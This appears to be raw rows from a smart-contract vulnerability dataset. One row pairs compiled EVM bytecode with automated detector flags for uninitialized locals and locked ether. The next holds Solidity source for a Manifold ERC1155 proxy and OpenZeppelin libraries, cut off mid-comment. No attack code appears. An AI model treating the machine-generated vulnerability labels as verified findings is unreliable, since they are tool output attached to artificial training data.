031633145b6135b457600080fd5b6040516370a0823160e01b8152839082906001600160a01b038316906370a08231906135e490309060040161587e565b60206040518083038186803b1580156135fc57600080fd5b505afa158015613610573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613634919061550b565b10156136525760405162461bcd60e51b815260040161117890615c0b565b612dda848484614ac3565b606060318054806020026020016040519081016040528092919081815260200182805480156120ef57602002820191906000526020600020905b815481526020019060010190808311613697575050505050905090565b606060328054806020026020016040519081016040528092919081815260200182805480156120ef576020028201919060005260206000209081546001600160a01b031681526001909101906020018083116120d1575050505050905090565b6000546001600160a01b0316331461372b57600080fd5b6000805b601e546001600160401b038216101561379357826001600160401b0316601e826001600160401b03168154811061376257fe5b60009182526020909120015461010090046001600160401b0316141561378b5760019150613793565b60010161372f565b5080156137b25760405162461bcd60e51b815260040161117890615d02565b6040805180820190915260018082526001600160401b0384811660208401818152601e8054948501815560005284517f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3509094018054915160ff1990921694151594909417610100600160481b031916610100919093160291909117909155611899906147ab565b60608160011461385a578160021461385257601c613855565b601b5b61385d565b601a5b8054806020026020016040519081016040528092919081815260200182805480156138b157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613893575b50505050509050919050565b6000546001600160a01b031633146138d457600080fd5b600d55565b600b5490565b6013546001600160a01b031690565b60085490565b6001600160a01b03166000908152602d602052604090205490565b6000546001600160a01b0316331461392657600080fd5b6040805160a081018252602380546001600160801b03808216845261ffff9788166020850190815296881694840194855294871660608401908152600160808501818152908301845560009390935292517fd57b2b5166478fd4318d2acc6cc2c704584312bdd8781b32d5d06abda57f4230909101805496519451935192516001600160801b0319909716919095161761ffff60801b1916600160801b938716939093029290921761ffff60901b1916600160901b918616919091021761ffff60a01b1916600160a01b91909416029290921760ff60b01b1916600160b01b91151591909102179055565b6000546001600160a01b03163314613a2857600080fd5b6000805b601854811015613a8057856001600160401b031660188281548110613a4d57fe5b600091825260209091200154600160801b90046001600160401b03161415613a785760019150613a80565b600101613a2c565b508015613a9f5760405162461bcd60e51b815260040161117890615d02565b6040805160c081018252601880546001600160801b0380821684526001600160401b03808b166020860181815261ffff808d169888019889528b8116606089019081528b821660808a01908152600160a08b018181529089018a5560009990995289517fb13d2d76d1f4b7be834882e410b3e3a8afaf69f83600ae24db354391d2378d2e909801805494519b519251915199511515600160f01b0260ff60f01b199a8516600160e01b0261ffff60e01b19938616600160d01b0261ffff60d01b1995909616600160c01b0261ffff60c01b199e909916600160801b02600160801b600160c01b03199b909a166001600160801b03199097169690961799909916979097179a909a16949094179390931692909217969096161792909216179055906112df906147ab565b6000546001600160a01b03163314613be057600080fd5b6000805b6024546001600160401b0382161015613c4857826001600160401b03166024826001600160401b031681548110613c1757fe5b60009182526020909120015461010090046001600160401b03161415613c405760019150613c48565b600101613be4565b508015613c675760405162461bcd60e51b815260040161117890615d02565b6040805180820190915260018082526001600160401b038481166020840181815260248054948501815560005284517f7cd332d19b93bcabe3cce7ca0c18a052f57e5fd03b4758a09f30f5ddc4b22ec49094018054915160ff1990921694151594909417610100600160481b031916610100919093160291909117909155611899906147ab565b6000546001600160a01b03163314613d0557600080fd5b600b55565b6000908152602f602052604090205490565b606060276000838152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015613e565760008481526020908190206040805160a08101825260038602909201805461ffff811684526201000081046001600160a01b031684860152600160b01b900460ff16151583830152600180820180548451600261010094831615949094026000190190911692909204601f81018790048702830187019094528382529394919360608601939192909190830182828015613e345780601f10613e0957610100808354040283529160200191613e34565b820191906000526020600020905b815481529060010190602001808311613e1757829003601f168201915b5050505050815260200160028201548152505081526020019060010190613d51565b505050509050919050565b6010546001600160a01b031681565b600e546001600160a01b0316331480613e935750600f546001600160a01b031633145b80613ea857506010546001600160a01b031633145b613eb157600080fd5b60009182526026602090815260409092208151815493909201516001600160801b03908116600160801b029281166001600160801b031990941693909317909216179055565b6000546001600160a01b03163314613f0e57600080fd5b602e55565b6000546001600160a01b03163314613f2a57600080fd5b600655565b6000546001600160a01b03163314613f4657600080fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b606081600114613f885781600214613f81576017613855565b601661385d565b60158054806020026020016040519081016040528092919081815260200182805480156138b1576020028201919060005260206000209081546001600160a01b031681526001909101906020018083116138935750505050509050919050565b6001600160a01b0381166000908152602d60209081526040918290208054835181840281018401909452808452606093928301828280156138b157602002820191906000526020600020905b8154815260200190600101908083116140345750505050509050919050565b600e546001600160a01b03163314806140765750600f546001600160a01b031633145b8061408b57506010546001600160a01b031633145b61409457600080fd5b6001600160a01b039091166000908152602d602090815260408220805460018101825590835291200155565b6060816001146140e057816002146140d9576022613855565b602161385d565b6020805460408051828402810184019091528181529190828201828280156138b1576020028201919060005260206000209081546001600160a01b031681526001909101906020018083116138935750505050509050919050565b6000546001600160a01b0316331461415257600080fd5b816024848154811061416057fe5b9060005260206000200160000160016101000a8154816001600160401b0302191690836001600160401b03160217905550806024848154811061186d57fe5b6000546001600160a01b031633146141b657600080fd5b600755565b600e546001600160a01b031681565b6000546001600160a01b031633146141e157600080fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b03163314806142265750600f546001600160a01b031633145b8061423b57506010546001600160a01b031633145b61424457600080fd5b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b0316331461427757600080fd5b83601d868154811061428557fe5b9060005260206000200160000160106101000a81548161ffff021916908361ffff16021790555082601d86815481106142ba57fe5b9060005260206000200160000160126101000a81548161ffff021916908361ffff16021790555081601d86815481106142ef57fe5b9060005260206000200160000160146101000a81548161ffff021916908361ffff16021790555080601d868154811061206b57fe5b6000546001600160a01b0316331461433b57600080fd5b6001600160a01b03811661434e57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b039283166000908152603360209081526040808320948352938152838220929094168152925290205460ff1690565b606060276000838152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015613e565760008481526020908190206040805160a08101825260038602909201805461ffff811684526201000081046001600160a01b031684860152600160b01b900460ff16151583830152600180820180548451600261010094831615949094026000190190911692909204601f810187900487028301870190945283825293949193606086019391929091908301828280156144f75780601f106144cc576101008083540402835291602001916144f7565b820191906000526020600020905b8154815290600101906020018083116144da57829003601f168201915b5050505050815260200160028201548152505081526020019060010190614414565b600f546001600160a01b031681565b600e546001600160a01b031633148061454b5750600f546001600160a01b031633145b8061456057506010546001600160a01b031633145b61456957600080fd5b600090815260296020526040902055565b614582614e2f565b60008281526014602090815260408083206001600160a01b03871684528252918290208251606081018452815461ffff8116825262010000900460ff16151581840152600180830180548651600261010094831615949094026000190190911692909204601f8101869004860283018601875280835292959394938601939192909183018282801561234d5780601f106123225761010080835404028352916020019161234d565b6000546001600160a01b0316331461464157600080fd5b60009182526030602052604090912055565b6013546001600160a01b031681565b6000805b82518110156146ae5782818151811061467b57fe5b60200260200101516001600160a01b0316846001600160a01b031614156146a65760019150506117f4565b600101614666565b5060009392505050565b6000826146c7575060006117f4565b828202828482816146d457fe5b04146116905760405162461bcd60e51b8152600401808060200182810382526021815260200180615e4e6021913960400191505060405180910390fd5b600061169083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614c16565b600082820183811015611690576040805162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b604482015290519081900360640190fd5b6000805b6031548110156147e95782603182815481106147c757fe5b906000526020600020015414156147e157600191506147e9565b6001016147af565b5080611f2d5750603180546001810182556000919091527fc54045fa7c6ec765e825df7f9e9bf9dec12c5cef146f93a5eee56772ee647fbc0155565b6040516370a0823160e01b8152600090849084906001600160a01b038316906370a082319061485890879060040161587e565b60206040518083038186803b15801561487057600080fd5b505afa158015614884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906148a8919061550b565b10156148c65760405162461bcd60e51b815260040161117890615c6e565b604051636eb1769f60e11b815284906001600160a01b0383169063dd62ed3e906148f69087903090600401615892565b60206040518083038186803b15801561490e57600080fd5b505afa158015614922573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614946919061550b565b10156149645760405162461bcd60e51b815260040161117890615caf565b506001949350505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b602083106149f35780518252601f1990920191602091820191016149d4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114614a55576040519150601f19603f3d011682016040523d82523d6000602084013e614a5a565b606091505b5091509150818015614a88575080511580614a885750808060200190516020811015614a8557600080fd5b50515b6112df5760405162461bcd60e51b8152600401808060200182810382526031815260200180615e1d6031913960400191505060405180910390fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310614b3f5780518252601f199092019160209182019101614b20565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114614ba1576040519150601f19603f3d011682016040523d82523d6000602084013e614ba6565b606091505b5091509150818015614bd4575080511580614bd45750808060200190516020811015614bd157600080fd5b50515b614c0f5760405162461bcd60e51b815260040180806020018281038252602d815260200180615e6f602d913960400191505060405180910390fd5b5050505050565b60008184841115614ca55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614c6a578181015183820152602001614c52565b50505050905090810190601f168015614c975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282614ce35760008555614d29565b82601f10614cfc57805160ff1916838001178555614d29565b82800160010185558215614d29579182015b82811115614d29578251825591602001919060010190614d0e565b50614d35929150614ebf565b5090565b604080516101c081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101829052610100810182905261012081018290526101408101829052610160810182905261018081018290526101a081019190915290565b6040805160a081018252600080825260208201819052918101829052606080820152608081019190915290565b828054828255906000526020600020908101928215614d29579160200282015b82811115614d2957825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190614dfa565b6040805160608082018352600080835260208301529181019190915290565b828054828255906000526020600020908101928215614d295760005260206000209182015b82811115614d29578254825591600101919060010190614e73565b604080518082019091526000808252602082015290565b604051806040016040528060008152602001600081525090565b5b80821115614d355760008155600101614ec0565b80356001600160a01b038116811461112357600080fd5b8035801515811461112357600080fd5b600082601f830112614f0b578081fd5b81356001600160401b03811115614f1e57fe5b614f31601f8201601f1916602001615ddc565b818152846020838601011115614f45578283fd5b816020850160208301379081016020019190915292915050565b60006101c0808385031215614f72578182fd5b614f7b81615ddc565b915050813581526020820135602082015260408201356040820152606082013560608201526080820135608082015260a082013560a0820152614fc060c08301614ed4565b60c0820152614fd160e08301614ed4565b60e0820152610100614fe48184016150e2565b90820152610120614ff68382016150f9565b908201526101406150088382016150f9565b9082015261016061501a8382016150f9565b9082015261018061502c8382016150f9565b908201526101a061503e8382016150f9565b9082015292915050565b600060a08284031215615059578081fd5b60405160a081016001600160401b03808211838310171561507657fe5b81604052829350615086856150f9565b835261509460208601614ed4565b60208401526150a560408601614eeb565b604084015260608501359150808211156150be57600080fd5b506150cb85828601614efb565b606083015250608083013560808201525092915050565b80356001600160801b038116811461112357600080fd5b803561ffff8116811461112357600080fd5b80356001600160401b038116811461112357600080fd5b600060208284031215615133578081fd5b61169082614ed4565b60008060008060808587031215615151578283fd5b61515a85614ed4565b935061516860208601614ed4565b925061517660408601614ed4565b9396929550929360600135925050565b60008060006060848603121561519a578283fd5b6151a384614ed4565b92506151b160208501614ed4565b9150604084013590509250925092565b600080604083850312156151d3578182fd5b6151dc83614ed4565b91506151ea60208401614eeb565b90509250929050565b600080600080600060a0868803121561520a578283fd5b61521386614ed4565b945060208601356001600160401b0381111561522d578384fd5b61523988828901614efb565b945050615248604087016150f9565b925061525660608701614eeb565b949793965091946080013592915050565b60008060408385031215615279578182fd5b61528283614ed4565b946020939093013593505050565b6000806000606084860312156152a4578081fd5b6152ad84614ed4565b9250602084013591506152c260408501614ed4565b90509250925092565b600080600080608085870312156152e0578182fd5b6152e985614ed4565b9350602085013592506152fe60408601614ed4565b915061530c60608601614eeb565b905092959194509250565b60008060006060848603121561532b578081fd5b61533484614ed4565b95602085013595506040909401359392505050565b6000602080838503121561535b578182fd5b82356001600160401b03811115615370578283fd5b8301601f81018513615380578283fd5b803561539361538e82615dff565b615ddc565b81815283810190838501858402850186018910156153af578687fd5b8694505b838510156153d8576153c481614ed4565b8352600194909401939185019185016153b3565b50979650505050505050565b600080604083850312156153f6578182fd5b82356001600160401b0381111561540b578283fd5b8301601f8101851361541b578283fd5b8035602061542b61538e83615dff565b82815281810190848301875b858110156154605761544e8b8684358a0101615048565b84529284019290840190600101615437565b50909997909201359750505050505050565b60006101c08284031215615484578081fd5b6116908383614f5f565b6000806101e083850312156154a1578182fd5b6154ab8484614f5f565b946101c0939093013593505050565b6000806000606084860312156154ce578081fd5b6154d7846150f9565b92506154e5602085016150f9565b91506152c2604085016150f9565b600060208284031215615504578081fd5b5035919050565b60006020828403121561551c578081fd5b5051919050565b60008060008060808587031215615538578182fd5b8435935061554860208601614ed4565b93969395505050506040820135916060013590565b6000808284036060811215615570578283fd5b833592506040601f1982011215615585578182fd5b50604080519081016001600160401b03811182821017156155a257fe5b6040526155b1602085016150e2565b81526155bf604085016150e2565b6020820152809150509250929050565b600080604083850312156155e1578182fd5b8235915060208301356001600160401b038111156155fd578182fd5b61560985828601615048565b9150509250929050565b600080600080600060a0868803121561562a578283fd5b8535945061563a602087016150f9565b9350615648604087016150f9565b9250615656606087016150f9565b915061566460808701614eeb565b90509295509295909350565b60008060408385031215615682578182fd5b50508035926020909101359150565b6000806000606084860312156156a5578081fd5b505081359360208301359350604090920135919050565b6000806000606084860312156156d0578081fd5b833592506156e06020850161510b565b91506152c260408501614eeb565b60008060008060008060c08789031215615706578384fd5b863595506157166020880161510b565b9450615724604088016150f9565b9350615732606088016150f9565b9250615740608088016150f9565b915061574e60a08801614eeb565b90509295509295509295565b60006020828403121561576b578081fd5b6116908261510b565b60008060008060808587031215615789578182fd5b6157928561510b565b93506157a0602086016150f9565b92506157ae604086016150f9565b915061530c606086016150f9565b6001600160a01b03169052565b60008151808452815b818110156157ee576020818501810151868301820152016157d2565b818111156157ff5782602083870101525b50601f01601f19169290920160200192915050565b600061ffff825116835260018060a01b036020830151166020840152604082015115156040840152606082015160a0606085015261585560a08501826157c9565b608093840151949093019390935250919050565b6001600160801b03169052565b61ffff169052565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6020808252825182820181905260009190848201906040850190845b818110156158ed5783516001600160a01b0316835292840192918401916001016158c8565b50909695505050505050565b602080825282518282018190526000919060409081850190868401855b82811015615a0d5781518051855286810151878601528581015186860152606080820151908601526080808201519086015260a0808201519086015260c080820151615964828801826157bc565b505060e080820151615978828801826157bc565b50506101008082015161598d82880182615869565b5050610120808201516159a282880182615876565b5050610140808201516159b782880182615876565b5050610160808201516159cc82880182615876565b5050610180808201516159e182880182615876565b50506101a090810151906159f786820183615876565b50506101c0939093019290850190600101615916565b5091979650505050505050565b602080825282518282018190526000919060409081850190868401855b82811015615a0d57815180516001600160801b03168552868101516001600160401b0316878601528581015161ffff908116878701526060808301518216908701526080808301519091169086015260a09081015115159085015260c09093019290850190600101615a37565b602080825282518282018190526000919060409081850190868401855b82811015615a0d57815180516001600160801b031685528681015161ffff90811688870152868201518116878701526060808301519091169086015260809081015115159085015260a09093019290850190600101615ac1565b6000602080830181845280855180835260408601915060408482028701019250838701855b82811015615b6e57603f19888603018452615b5c858351615814565b94509285019290850190600101615b40565b5092979650505050505050565b602080825282518282018190526000919060409081850190868401855b82811015615a0d5781518051151585528601516001600160401b0316868501529284019290850190600101615b98565b6020808252825182820181905260009190848201906040850190845b818110156158ed57835183529284019291840191600101615be4565b901515815260200190565b602080825260149082015273546f6b656e73206e6f7420617661696c61626c6560601b604082015260600190565b6020808252601b908201527a506c6561736520656e7465722076616c696420436f696e5479706560281b604082015260600190565b60208082526021908201527f596f7520646f6e2774206861766520656e6f756768205849562062616c616e636040820152606560f81b606082015260800190565b60208082526033908201527f506c6561736520616c6c6f7720736d61727420636f6e747261637420746f20736040820152723832b7321037b7103cb7bab9103132b430b63360691b606082015260800190565b60208082526017908201527620b63932b0b23c903430bb32903a3434b9903230ba309760491b604082015260600190565b81516001600160801b039081168252602092830151169181019190915260400190565b60006020825261ffff83511660208301526020830151151560408301526040830151606080840152615d8b60808401826157c9565b949350505050565b6000602082526116906020830184615814565b815181526020918201519181019190915260400190565b90815260200190565b9283526020830191909152604082015260600190565b6040518181016001600160401b0381118282101715615df757fe5b604052919050565b60006001600160401b03821115615e1257fe5b506020908102019056fe5472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c6564a2646970667358221220c914fd935a6b51b76803bfc098c0dca402d8d1594dcbdde060611a8fddd0ab4964736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2692, 2546, 17134, 28154, 2581, 2094, 2581, 2850, 2497, 28154, 25746, 19797, 2278, 2546, 2620, 2278, 2620, 3540, 2692, 2683, 5243, 2278, 2683, 2581, 2050, 2692, 2050, 23352, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 23881, 18447, 2121, 12172, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 4651, 16001, 4842, 1012, 14017, 1000, 1025, 3206, 23881, 2850, 2696, 15058, 2003, 2219, 3085, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,356
0x96a16e3dfe1af4d37a54721be2591e84b61e866d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: metagalaxy /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////// // // // // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╠╬╬╬╬╬╬╬╬╬╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╠╬╬╬╬╬╬╬╬╬╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╠╬╬╬╠╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╠╬╬╬╠╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╠╬╬╬╠╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╠╬╬╬╬╬╬╬╬╬╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╠╬╬╬╬╬╬╬╬╬╠╬╬ // // ╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╠╬╬╬╬╬╬╬╬╬╬╬ // // // // // //////////////////////////////////////////// contract MCJ is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); 